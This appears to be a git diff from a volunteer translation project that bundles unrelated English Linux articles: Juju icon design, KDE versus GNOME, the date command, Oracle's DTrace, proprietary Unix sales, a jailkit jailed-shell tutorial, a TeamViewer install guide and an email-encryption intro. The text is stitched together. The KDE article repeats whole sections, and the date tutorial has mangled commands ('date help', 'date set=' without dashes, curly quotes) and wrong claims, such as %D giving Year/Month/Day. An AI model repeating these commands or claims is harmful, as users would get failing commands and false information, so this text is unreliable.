We wanted to replace the normal Juju icons for something a little bit more special in order to explain to people that visited the Ubuntu stand what kind of things Juju can do. We decided to use the idea of an ice-cream with toppings and sauce which you can build in the same way that you can build services in Juju.
The best part of this demo is that people would actually get the ice-cream they had built in Juju in real life!
![](http://design.canonical.com/wp-content/uploads/1-juju.jpg)
*The Juju interface, with its default icons*
### Finding good concepts ###
The first thing I needed to do was to find good concepts to present ice-creams and toppings in an icon format. Toppings were going to be especially tricky, as they can be very small and therefore hard to make out at small sizes.
I initially sketched and designed some ideas that were using a kind of flat look. This worked well for the ice-cream, but not so much for the toppings — I soon noticed they had to be semi-realistic to be recognisable.
![](http://design.canonical.com/wp-content/uploads/1-juju-icecream-sketches-flat.jpg)
![](http://design.canonical.com/wp-content/uploads/3-juju-icecream-flat-icons.jpg)
*Initial sketches and designs following a flat and more simplified look*
At a second stage, I added perspective to the icons; it was important that the icons kept the same perspective for consistency.
![](http://design.canonical.com/wp-content/uploads/4-juju-icecream-sketches-perspective.jpg)
*Another set of sketches with added perspective*
The shape of the sauce bottles was also something that needed a bit of trial and error. The initial design looked too much like a ketchup bottle, so weve decided to try a different approach.
![](http://design.canonical.com/wp-content/uploads/5-juju-icecream-sauce-shape.jpg)
*Before and after shape of the sauce*
For the backgrounds, I chose to use vibrant colours for the ice-cream icons, to contrast with the ice-creams monochrome palette, but paler colours for the toppings, as these are already quite colourful.
The amount of detail added to the icons is just enough for what we needed to show and for them to be recognised. Ive also added larger pieces to the side of the toppings, to make them easier to be identified.
![](http://design.canonical.com/wp-content/uploads/6-juju-oreo-topping.jpg)
*The Oreo topping icon, with a side of Oreos*
### Working out the detail ###
The Oreo pieces were created from a single biscuit, which I cut into 9 different parts and then distributed in different layers — I guess in a similar way to what happens in real life.
![](http://design.canonical.com/wp-content/uploads/7-juju-oreo-bits.jpg)
*The 9 pieces used to create the icon*
The clone tool in Inkscape came in handy: repeating the same small set of different pieces made the final SVG file much lighter, and also Inkscape faster.
The whole process took 4 days from brief to final icons, which is quite a tight deadline, but it was a really fun project to work on.
![](http://design.canonical.com/wp-content/uploads/8-final-juju-icecream-icon-set.jpg)
*The final icon set*
--------------------------------------------------------------------------------
via: http://design.canonical.com/2013/11/juju-ice-cream-icon-design/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,113 +0,0 @@
KDE vs GNOME: Settings, Apps, Widgets
=====================================
When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments Gnome and KDE. Ill explore what each desktop environment offers, comparing their strengths and weaknesses.
###Initial impressions
Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse.
Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here.
Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is to be kind "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way.
###Widgets and extensions
The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality.
KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows.
By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task.
###Settings for your desktop
While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space.
With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as [OpenSUSE][1], go ever further by tightly integrating their own tools ([YaST][2]) into the KDE settings experience.
With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application.
But KDE tends to offer greater granular control with their applications. One of my favorite examples is [Kontact][3] vs [Evolution][4]. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of [AmaroK][5] vs [Rhythmbox][6], among other desktop-specific titles.
###File management
When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. [Nautilus][7] is the default file manager for Gnome where KDE, offers up [Dolphin][8] as its main offering.
When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments Gnome and KDE. Ill explore what each desktop environment offers, comparing their strengths and weaknesses.
###Initial impressions
Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse.
Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here.
Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is to be kind "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way.
Widgets and extensions
The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality.
KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows.
By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task.
Settings for your desktop
While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space.
With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as OpenSUSE, go ever further by tightly integrating their own tools (YaST) into the KDE settings experience.
With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application.
But KDE tends to offer greater granular control with their applications. One of my favorite examples is Kontact vs Evolution. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of AmaroK vs Rhythmbox, among other desktop-specific titles.
File management
When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. Nautilus is the default file manager for Gnome where KDE, offers up Dolphin as its main offering.
Out of the box, I've found Nautilus offers Gnome users a polished, easy to use file management tool that won't overwhelm new Linux users. Flashing over to KDE, however, Dolphin is a highly configurable and not newbie friendly file management solution for those who want tons of control.
Simply looking at the sidebar for each file manager, you'll notice that Nautilus offers up the most straight forward approach to navigation. KDE's Dolphin, however, goes further with features like dates for files last used, and other related options.
If you're an advanced Linux user, you'll likely find yourself gravitating to Dolphin as it offers the most options and control. For those of us who simply want to navigate files without tons of "stuff", Nautilus wins in terms of simplicity.
###Desktop applications
One area that causes some disagreement among Linux enthusiasts is the claim that one desktop offers better default applications than the other. That said, this is certainly the case with Gnome vs KDE.
My findings in this area are that in many areas, Gnome wins without even trying that hard. For example: GIMP, Evince, and Pidgin are all applications that are simply less of a headache to rely on than their KDE counterparts. Kmail is another app that, in my opinion, gives new KDE users a bad taste in their mouths. Apps like this are overly complex and in general, abysmal to use.
On the flip side, there are some worthwhile exceptions in favor of KDE. [Calligra][9] vs [AbiWord][10] is an easy win for KDE, since [LibreOffice][11] isn't "truly" a Gnome specific option. Just because it's often the default suite for many Linux distributions doesn't make it the desktop environment default.
In the end, one of the wonders of Linux is that you can install GTK or Qt libraries and enjoy the benefits of the apps that best meet with your needs. For myself, I've found the Gnome application defaults to be the clear winner in most instances.
Final thoughts
If I ever found myself trapped on an island with only one desktop environment made available to me, it'd have to be Gnome. Even though I enjoy some aspects of KDE more than Gnome, overall I find Gnome is less work to keep up. Too often Ive found KDE experiencing a messed up configuration or, worse: weird alerts claiming my sound card has disappeared. Under Gnome, I experience none of these problems.
Because I value my time and my sanity, I'll continue to recommend Gnome over KDE; while suggesting some KDE apps when appropriate. To anyone who claims that KDE is easier to use I'd like to point out that for me, simply learning Gnome's approach to doing things has offered me greater stability in the long run.
Photo courtesy of [Shutterstock][12].
---
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
[1]:http://www.opensuse.org/en/
[2]:http://en.opensuse.org/YaST_Software_Management
[3]:http://userbase.kde.org/Kontact
[4]:https://projects.gnome.org/evolution/
[5]:http://amarok.kde.org/
[6]:https://projects.gnome.org/rhythmbox/
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
[9]:http://www.calligra-suite.org/
[10]:http://www.abisource.com/
[11]:http://www.libreoffice.org/
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html

View File

@ -0,0 +1,142 @@
Linux date command Display and Set System Date and Time
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/12/date-linux-command.jpg)
Date on the operating system may only be considered as a timepiece. Especially on console mode, we do generally not see date as an important think. But for Administrator, this assumption is false. Do you know that a wrong date and time can make you cant compile an application?
Because date and time is important, this is may be the reason why Network Time Protocol is developed. Lets start to see what date command do for you.
### Display system date ###
To display your system date, just type
$ date
Thu Dec 5 22:55:41 WIB 2013
### Formatting Date ###
Date come with many formats. If you are unhappy with default format you can change it. You may think “Why I need to change the format? A default output is enough for me”.
Yes. It is true. But when you do programming, default output may not meet the user need. So heres some custom outputs.
### Output date and time in RFC 2822 format ###
$ date -R
Thu, 05 Dec 2013 23:40:53 +0700
**RFC 2822** has a format like this : **day, date-month-year, hours:minutes:second timezone**
Timezone +0700 is same with GMT +7
By default **date** is using the timezone which defined in **/etc/localtime**. Valid timezones data are defined in **/usr/share/timezones**
### Print or set Coordinated Universal Time ###
From [Wikipedia][1], UTC means
> The primary standard which the world regulates clocks and time. It is one several closely related successors to Greenwich Mean Time.
To display your date and time with UTC format, use -u parameter
$ date -u
Thu Dec 5 16:45:58:UTC 2013
### Using formatting options ###
To custom your date format, **use a plus sign (+)**
$ date +”Day : %d Month : %m Year : %Y”
Day: 05 Month: 12 Year: 2013
$ date +%D
12/05/13
**%D** format follows **Year/Month/Day format**.
You can also put the day name if you want. Heres some examples :
$ date +”%a %b %d %y”
Fri 06 Dec 2013
$ date +”%A %B %d %Y”
Friday December 06 2013
$ date +”%A %B %d %Y %T”
Friday December 06 2013 00:30:37
$ date +”%A %B-%d-%Y %c”
Friday December-06-2013 12:30:37 AM WIB
There are still a lot of format options available. Just type
$ date help
Or
$ man date
To show date command syntax and parameters.
So basically, date command will interpret all percent sign (%) and print anything inside a quotes sign (“ “)
### Set system date and time ###
Generally, you want your system date and time is set automatically. If for some reason you have to change it manually, we can use this command :
# date set=”20140125 09:17:00”
It will **set** your current date and time of your system into **January 25, 2014 and 09:17:00 AM. Please note**, that you **must** have root privilege to do this. Otherwise you will have an error message like this :
date: cannot set date: Operation not permitted
Sat Jan 25 09:17:00 WIB 2014
### Reset your time back ###
If you need to reset your system date and time back to the original, you can do this trick.
# hwclock
Fri 06 Dec 2013 03:44:10 AM WIB -0.314082 seconds
And set your system date and time to the output of hwclock command.
### Using date command on a script ###
Remember when I said before about why you may need to change the date output? One of the answer may be because you do programming. Lets see an example on bash script.
$ vi display.date
#! /bin/bash
DATETIME=$(date +”DATE: %a %b-%d-%Y TIME: %T WEEK NUMBER: %W”)
echo $DATETIME
Save it and run it using :
$ ./display.date
DATE : Fri Dec-06-2013 TIME: 03:08:19 WEEK Number :40
If you find error permission denied error message, type :
$ chmod 755 display.date
### Using date on a backup procedure ###
Another example is when you are using date on a backup procedure.
$ date +%F
2013-12-06
$ tar zcfv /daily_backup/backup-`date +%F`.tar.gz /home/pungki/Documents
It will compress folder **/home/pungki/Documents** into a a file with name **backup-2013-12-06.tar.gz** which located in **/daily_backup folder**.
### Conclusion ###
Date may be seen as something that is not important. But dates play an important role. As usual, to have more detail in using date command, please visit date manual page by typing man date in your console.
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/date-command-linux/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://en.wikipedia.org/wiki/Coordinated_Universal_Time

View File

@ -0,0 +1,34 @@
Oracle adds DTrace debugger to its Linux distribution
================================================================================
> Oracle Linux administrators can finally take advantage of the powerful DTrace debugging tool that was first designed for Solaris
IDG News Service - Oracle has fully integrated the long-awaited Linux DTrace debugging tool into the latest release of its Linux distribution, potentially allowing administrators and developers to pinpoint the cause of thorny performance issues with more accuracy.
[Oracle Linux][1] 6.5 also includes an updated kernel and support for Linux Containers, allowing a single kernel to power multiple Linux virtual machines on a server.
Much like the CentOS distribution, Oracle Linux is largely a copy of Red Hat Enterprise Linux (RHEL), version 6.5 of which Red Hat released last month. Oracle does include in the package its own kernel -- the core of an OS -- customized for security enhancements, as well as some additional administrative tools. Both the Oracle and Red Hat editions are targeted to enterprise use. (The volunteer-driven CentOS 6.5 distribution [was also recently released][2].)
For the first time, Oracle's customized kernel, Unbreakable Enterprise Kernel Release 3, is installed as the default kernel for the distribution -- the stock RHEL kernel is also included in the package as an alternative. As a result, Oracle Linux now supports the DTrace dynamic tracing framework out of the box, though it still needs to be downloaded separately. Oracle Linux 6.4 [offered][3] users a way to download and install DTrace, though it required changes to the kernel.
Originally developed by Sun Microsystems, which was acquired by Oracle in 2010, DTrace can help developers debug, or trace, problems that occur on a system. Known for its thoroughness in documenting system behavior, the software was originally designed for Sun's Solaris Unix distribution, and administrators have long agitated for a version [to run][4] on Linux as well.
DTrace allows administrators and developers "to get insight into the operating system and understand what is consuming resources," said Markus Flierl, Oracle's Solaris vice president of engineering. The software can not only investigate problems with the OS, but also identify potential problems with applications and the networking stack as well.
"If your customer is complaining that something is running slow, you can go in and see if there is a problem that is happening in your operating system, or if it is in your I/O stack. You will get a full top-to-bottom view, a single pane of glass to see what is happening," Flierl said. Having DTrace on board a server will also allow other Oracle debugging tools, such as those found in the Oracle 12c database, to use the DTrace instrumentations as well, he said.
With the introduction of Linux Containers in Linux Oracle 6.5, users now have another option for virtualizing workloads. In this approach, the server's kernel can drive any number of virtual Linux machines, with each one completely isolated from the others. The Linux Control Groups management software assures that each container is allotted a select amount of memory, CPU and disk I/O resources. Oracle also provides templates for quickly setting up containers.
Other updates in the Oracle Linux package support the latest technologies in InfiniBand networking, file systems, processors and solid state disks.
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9244564/Oracle_adds_DTrace_debugger_to_its_Linux_distribution?taxonomyId=122
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.oracle.com/us/technologies/linux/overview/index.html
[2]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html
[3]:http://www.infoworld.com/d/application-development/oracle-ports-dtrace-oracle-linux-213759
[4]:http://stackoverflow.com/questions/2059311/whats-an-alternative-for-dtrace-on-linux

View File

@ -0,0 +1,24 @@
Proprietary Unix Continues to Fall
================================================================================
Analysts at International Data Corporation (IDC) posted a [press release][1] Wednesday highlighting the rapid decline of IBM's AIX and P-Series hardware. Along side the drop in proprietary Unix systems is an associated rise in sales of X86 servers running Linux. IBM has clearly identified this as a long term trend, investing $1 billion dollars in Linux development on Power systems. With the reported 20% drop in sales, the writing my finally be on the wall for AIX.
I've had the dubious pleasure of administering both AIX and Linux systems for the past several years, and if I could pick and choose, I would take the flexibility and ease of use of Linux and the stability of Power. In my experience, AIX is difficult to set up, and difficult to change after it is set up, but once it is up and running it just runs. A properly configured AIX server can run for years without intervention, but when that time for modification comes, which it always does, prepare for a long hard slog. By contrast, Linux has become exponentially easier to manage over the years, thanks to the contributions of thousands of developers and sysadmins, as well as the contributions of big name corporations. As reported by [Infoworld][2]:
> The Linux server market is solidly on the rise as a percentage of total server sales up to 28 percent of total revenue so any investment that can improve market share is going to be worthwhile, even as the lion's share of Linux servers continues to be commodity x86 hardware.
Intel and AMD hardware has also grown by leaps and bounds, narrowing the performance gap with Power. I'm always a bit surprised when I hear that 10GB ethernet comes standard on a new blade, or that 256 GB of RAM is not considered unusual, or that it is considered the normal course of business to order a few servers with 16 cores each. Intel servers are nearly as powerful as IBM's Power, and normally cost much less. To businesses interested in escaping "consultingware" and IBM's vendor lock in, open source software running on industry standard x86 hardware is becoming increasingly attractive. However, IBM has lowered the prices of Power systems to remain competitive.
It is telling that IBM chose to invest in Linux on Power instead of AIX. IBM could have chosen to modernize AIX and provide better interoperability with common open source tools. While IBM claims that AIX is still important, the continuing drop in Power sales along with the Linux investment is beginning to tell a different story.
IBM may not be able to turn things around for AIX, but they could prolong its life indefinitely. It would be interesting to see how the market would react if AIX was released as open source.
--------------------------------------------------------------------------------
via: http://ostatic.com/blog/proprietary-unix-continues-to-fall
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.idc.com/getdoc.jsp?containerId=prUS24476413
[2]:http://www.infoworld.com/t/unix/ibms-losing-ground-unix-and-oracle-may-follow-232234

View File

@ -1,221 +0,0 @@
我不入监狱  谁入监狱
Setup a jailed shell with jailkit on ubuntu
================================================================================
### Jailed Shell and Jailkit ###
A jailed shell is a kind of limited shell that provides the user with a very real looking shell but does not allow him to mess with/view/modify any parts of the real file systems. The file system inside the shell is different from the actual file system of the underlying system. Such a functionality is achived through chroot and finds many kinds of applications. For example to setup a linux shell for users to just "play with". Or run some program with full functionality but in a limited environment and so on.
In this tutorial we are going to talk about setting up a jailed shell quickly with jailkit on ubuntu. Jailkit is helper program that allows to quickly setup a jailed shell, jail users inside it, and configure programs to run from the jailed environment.
Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1]
We have already discussed about installing jailkit on ubuntu so check out that post.
### Setup jailed shell ###
#### 1. Setup the jail environment ####
There needs to be a directory where the whole jail environment will be setup. Lets do it in /opt/jail. This can be whatever.
$ sudo mkdir /opt/jail
Root should own this directory. So chown it out.
$ sudo chown root:root /opt/jail
#### 2. Setup the programs to make available inside the jail ####
All the programs that need to be available in the jail need to be copied inside it using the jk_init command.
Example
$ sudo jk_init -v /jail basicshell
$ sudo jk_init -v /jail editors
$ sudo jk_init -v /jail extendedshell
$ sudo jk_init -v /jail netutils
$ sudo jk_init -v /jail ssh
$ sudo jk_init -v /jail sftp
$ sudo jk_init -v /jail jk_lsh
Or at one go
$ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp
The names like basicshell , editors , netutils are groups that contain multiple programs. Each group is a set of executable files, libraries etc to be copied into the shell. For example, the section **basicshell** provides many programs like bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep etc in the jail.
For a complete list of sections that can be setup, have a look at /etc/jailkit/jk_init.ini.
jk_lsh (Jailkit limited shell) - is an important section, and must be added.
#### 3. Create the user who will be jailed ####
Need a user to put inside the jail. Lets create one
$ sudo adduser robber
Adding user `robber' ...
Adding new group `robber' (1005) ...
Adding new user `robber' (1006) with group `robber' ...
Creating home directory `/home/robber' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for robber
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
Note that this is a normal user who is created in the actual filesystem and not inside the jail.
In the next step this user shall be imprisoned inside the jail.
At this point if you take a look at /etc/passwd you get to see an entry at the end that looks like this
robber:x:1006:1005:,,,:/home/robber:/bin/bash
This is our new user and the last part /bin/bash indicates that the user has a normal shell access on the system, if he logs in.
#### 4. Jail the user ####
Now its time to put the user inside the jail.
$ sudo jk_jailuser -m -j /opt/jail/ robber
By doing this the user robber has now been jailed.
Now if you take a look at /etc/passwd the last entry would look like this
robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh
Note that the last 2 parts that indicate the home user and the shell type have changed. The home directory of the user is now inside the jail environment at /opt/jail. The shell of the user is now a special program called jk_chrootsh that will provide the jailed shell.
It is this particular shell called jk_chrootsh that takes the user inside the jail, everytime he logs onto the system.
The jail setup by now is nearly done. But if you try to connect to id from ssh, it will fail like this :
$ ssh robber@localhost
robber@localhost's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com/
13 packages can be updated.
0 updates are security updates.
*** /dev/sda7 will be checked for errors at next reboot ***
*** /dev/sda8 will be checked for errors at next reboot ***
Last login: Sat Jun 23 12:45:13 2012 from localhost
Connection to localhost closed.
$
The connection shall close. This happens because the user actually has a limited shell.
#### 5. Give bash shell to user inside the jail ####
The next important thing to do is to give the user a proper bash shell, but inside the jail.
Open the following file
/opt/jail/etc/passwd
Its the password file inside the jail. It would look somewhat like this
root:x:0:0:root:/root:/bin/bash
robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh
Change the /usr/sbin/jk_lsh to /bin/bash
root:x:0:0:root:/root:/bin/bash
robber:x:1006:1005:,,,:/home/robber:/bin/bash
Save the file and exit.
#### 6. Login to the jail ####
So now its time to login into the jail again
$ ssh robber@localhost
robber@localhost's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com/
13 packages can be updated.
0 updates are security updates.
*** /dev/sda7 will be checked for errors at next reboot ***
*** /dev/sda8 will be checked for errors at next reboot ***
Last login: Sat Jun 23 12:46:01 2012 from localhost
bash: groups: command not found
I have no name!@desktop:~$
The jail says 'I have no name!' , ha ha. Now we have a fully functional bash shell but inside the jail.
Now check the environment by moving around. The root / of the jailed environment is /opt/jail of the real file system. But its only we who knows that, not the jailed user.
I have no name!@desktop:~$ cd /
I have no name!@desktop:/$ ls
bin dev etc home lib lib64 run usr var
I have no name!@desktop:/$
Also only the commands that were copied via jk_cp sections will be available in this jail.
If the login fails, then check /var/log/auth.log for error messages.
Now try running some network command like wget or anything similar.
$ wget http://www.google.com/
If you get an error like this :
$ wget http://www.google.com/
--2012-06-23 12:56:43-- http://www.google.com/
Resolving www.google.com (www.google.com)... failed: Name or service not known.
wget: unable to resolve host address `www.google.com'
Fix it by running the following 2 commands :
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2
The exact location of the libnss_files.so and libnss_dns.so can vary so check.
### Running programs or services in the jail ###
Now the setup is complete. Jails are useful to run programs or services in a restricted/secure environments. To launch a program or daemon inside the jail use the **jk_chrootlaunch** command.
$ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail
The jk_chrootlaunch utility can be used to launch a particular process inside the jail environment with privileges of the specified user. If the daemon fails to start, check /var/log/syslog for error messages.
To run the program inside the jail, the program must first be fully copied inside the jail using the jk_cp command.
jk_cp - a utility to copy files including permissions and libraries into a jail
For further reading about various jailkit commands, check the documentation at [http://olivier.sessink.nl/jailkit/][1]
--------------------------------------------------------------------------------
via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://olivier.sessink.nl/jailkit/
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -0,0 +1,99 @@
TeamViewer 9 Released Install on RHEL/CentOS/Fedora and Debian/Ubuntu
================================================================================
This guide shows how to install **Teamviewer 9** on **RedHat, CentOS, Fedora** and **Debian**, **Ubuntu**, **Linux Mint**, **Xubuntu** systems. **Teamviewer** is a one of the most popular application for remote assistant, Desktop sharing or transferring files between computers, web conferencing and online meetings etc. Teamviewer is a proprietary application.
However, its a freeware for personal use. Teamviewer is available for **Windows, Linux, Mac OS, Android** and **iPhone**. Teamviewer uses **WINE** application which is integrated within it. We dont have to [install WINE application][1]separately. **Teamviewer** is not a native **Linux** application.
Recently, the latest stable version of **TeamViewer 9** released with new features and many improvements. Following are some of the new features are added in **TeamViewer 9** which are highlighted below:
### Features for Windows, Linux and Mac ###
- Open multiple connections in different tabs
- Support for Wake-on-LAN
- Added two factor authentication for TeamViewer accounts
- Support for Windows 8.1 and Mac OS X Mavericks
- Save custom modules such as QuickSupport, QuickJoin, etc.
- API Integration
- Stronger security of the Teamviewer account
- Quick connection via desktop shortcut
- Visual notification
- Copy and paste files and text between computers
- Initiating file transfers to computers
- Quick connection via desktop shortcut
- Faster video transfers
### How do I Install Teamviewer 9 on RedHat, CentOS, Fedora ###
You may download package for rpm based Linux distributions at [teamviewer_linux.rpm][2].
Let us start installation. Go to the directory from where you have downloaded package and execute following yum command to install it. It will install missing dependencies.
# wget http://www.teamviewer.com/download/teamviewer_linux.rpm
# yum install teamviewer_linux.rpm
If you get missing public key error, you can download public key and import it using the following command.
# wget http://www.teamviewer.com/link/?url=354858
# rpm --import TeamViewer_Linux_PubKey.asc
After importing the public key, please run the “**yum install**” command again to install the Teamviewer rpm.
To start Teamviewer application, run the following command from the terminal.
# teamviewer
Teamviewer application running on my **Fedora 18** system.
![Running TeamViewer in Fedora 18](http://www.tecmint.com/wp-content/uploads/2013/02/f-t3.jpg)
*Running TeamViewer in Fedora 18*
### How do I Install Teamviewer 9 on Ubuntu, Linux Mint, Xubuntu ###
You may download teamviewer package for **32-bit** or **64-bit** systems at [teamviewer linux .deb][3] packages. or you can download the package using **wget** command as shown below.
## 32 Bit System ##
$ sudo wget http://www.teamviewer.com/download/teamviewer_linux.deb
## 64 Bit System ##
$ sudo wget http://www.teamviewer.com/download/teamviewer_linux_x64.deb
Once youve downloaded the package, go to the directory where youve downloaded Teamviewer package and run the following command to install it.
## 32 Bit System ##
$ sudo dpkg -i teamviewer_linux.deb
## 64 Bit System ##
$ sudo dpkg -i teamviewer_linux_x64.deb
If you get missing dependencies error, please use the following command to install those dependencies.
sudo apt-get install -f
Once installation is done. To start Teamviewer package on **Ubuntu** Linux, go to **Dash Home** and type **teamviewer** and click on **teamviewer** icon to run application.
![Running TeamViewer in Ubuntu 13.10](http://www.tecmint.com/wp-content/uploads/2013/02/u-t1.png)
*Running TeamViewer in Ubuntu 13.10*
Teamviewer application running on my **Ubuntu 13.10** system.
![TeamViewer 9 Under Ubuntu 13.10](http://www.tecmint.com/wp-content/uploads/2013/02/u-t2.jpg)
*TeamViewer 9 Under Ubuntu 13.10*
To start on **Linux Mint**, Go to **Menu >> Internet >> Teamviewer** and click on **Accept License Agreement** to run application.
Teamviewer application running on my **Linux Mint 15**.
![Running TeamViewer in Linux Mint 15](http://www.tecmint.com/wp-content/uploads/2013/02/m-t5.png)
*Running TeamViewer in Linux Mint 15*
--------------------------------------------------------------------------------
via: http://www.tecmint.com/how-to-install-teamviewer-on-linux-distributions/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/install-wine-in-rhel-centos-and-fedora/
[2]:http://www.teamviewer.com/download/teamviewer_linux.rpm
[3]:http://www.teamviewer.com/hi/download/linux.aspx

View File

@ -0,0 +1,34 @@
Top Email Encryption Tools
================================================================================
Email continues to be one of the most popular and useful functions of a Linux system. Being able to keep in touch with your friends, family, and colleagues is essential for any platform. As the scope of email threats keeps increasing, systems for email security and encryption have become more complex and more of a necessity. Protecting email from unauthorized access and inspection is important particularly because the protocols that govern email do not include encryption. Email was not designed with any privacy or security in mind. The consequence of the lack of security is that email can be compromised on the sender's device, on a network, on a server, and on the recipient's device.
Sending encrypted messages is one method of ensuring electronic privacy. By encrypting messages, this will help to keep your precious information safe by making messages look like garbled text to uninvited onlookers. Encrypting email may sound a little daunting, but it's actually simple with the right software.
OpenPGP is the most widely used email encryption standard. Whether you are using an email client or a web-based email solution, you can encrypt your email with OpenPGP.
There are very few email applications that have PGP encryption enabled by default. Fortunately, there are some good open source encryption applications available for Linux that are simple to use.
To provide an insight into the quality of software that is available, we have compiled the following list of email encryption tools.
